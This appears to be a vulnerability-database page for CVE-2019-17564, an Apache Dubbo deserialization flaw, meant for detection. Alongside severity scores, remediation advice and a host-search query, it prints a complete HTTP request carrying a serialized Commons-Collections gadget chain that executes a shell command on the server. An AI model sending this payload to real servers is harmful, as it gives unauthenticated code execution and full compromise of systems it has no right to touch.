🔙 목록으로 돌아가기

CVE-2019-17564: Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

TitleApache Dubbo 2.5.x-2.7.4 - Insecure Deserialization
AuthorKhalid6468
SeverityCritical
ImpactUnauthenticated attackers can exploit unsafe deserialization to execute arbitrary code on Dubbo Provider instances with HTTP remoting enabled, leading to complete server compromise.
RemediationUpgrade to Apache Dubbo version 2.7.5 or later, or disable HTTP remoting if not required.
CVSS Score9.8
EPSS Score0.94048
CVE IDCVE-2019-17564
CWE IDCWE-502
Fofa Queryapp="apache-dubbo"
Tags cve cve2019 dubbo apache deserialization rce vkev vuln

🔍 Vulnerability Description

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4, 2.6.0 to 2.6.7, and all 2.5.x versions.

🌐 HTTP Request

POST /com.example.TestService HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 1277
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

��srjava.util.HashSet�D�����4xpw?@sr4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9��LkeytLjava/lang/Object;LmaptLjava/util/Map;xptfoosr*org.apache.commons.collections.map.LazyMapn唂�y�Lfactoryt,Lorg/apache/commons/collections/Transformer;xpsr:org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z�[
iTransformerst-[Lorg/apache/commons/collections/Transformer;xpur-[Lorg.apache.commons.collections.Transformer;�V*��4�xpsr;org.apache.commons.collections.functors.ConstantTransformerXv�A��L	iConstantq~xpvrjava.lang.Runtimexpsr:org.apache.commons.collections.functors.InvokerTransformer���k{|�8[iArgst[Ljava/lang/Object;LiMethodNametLjava/lang/String;[iParamTypest[Ljava/lang/Class;xpur[Ljava.lang.Object;��X�s)lxpt
getRuntimeur[Ljava.lang.Class;�׮��Z�xpt	getMethoduq~vrjava.lang.String��8z;�Bxpvq~sq~uq~puq~tinvokeuq~vrjava.lang.Objectxpvq~sq~ur[Ljava.lang.String;��V��{Gxptlstexecuq~q~ sq~srjava.lang.Integer⠤���8Ivaluexrjava.lang.Number������xpsrjava.util.HashMap���`�F
loadFactorI	thresholdxp?@wxxx

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-17564.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-17564.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A